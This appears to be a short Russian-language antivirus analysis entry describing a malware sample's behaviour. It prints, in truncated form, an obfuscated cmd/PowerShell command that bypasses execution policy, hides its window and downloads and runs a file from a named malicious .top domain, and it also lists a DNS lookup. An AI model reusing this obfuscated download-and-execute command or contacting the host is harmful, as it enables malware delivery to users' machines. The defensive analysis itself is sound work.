Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^o^w^eRs^Hell.^exe^ -E^XEcu^TIONPO^l^iCy bYPaS^s^ ^-No^p^rOFilE -Wi^N^dOwstY^LE ^h^iD^deN (n^ew-obJ^e^CT syS^T^em.Ne^t^.^w^e^bcLiEnT).DOwn^lo^ADF^ile^('http://www.zonedopesa.top/read.p...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^o^w^eRs^Hell.^exe^ -E^XEcu^TIONPO^l^iCy bYPaS^s^ ^-No^p^rOFilE -Wi^N^dOwstY^LE ^h^iD^deN (n^ew-obJ^e^CT syS^T^em.Ne^t^.^w^e^bcLiEnT).DOwn^lo^ADF^ile^('http://www.zonedopesa.top/read.p...' (со скрытым окном)
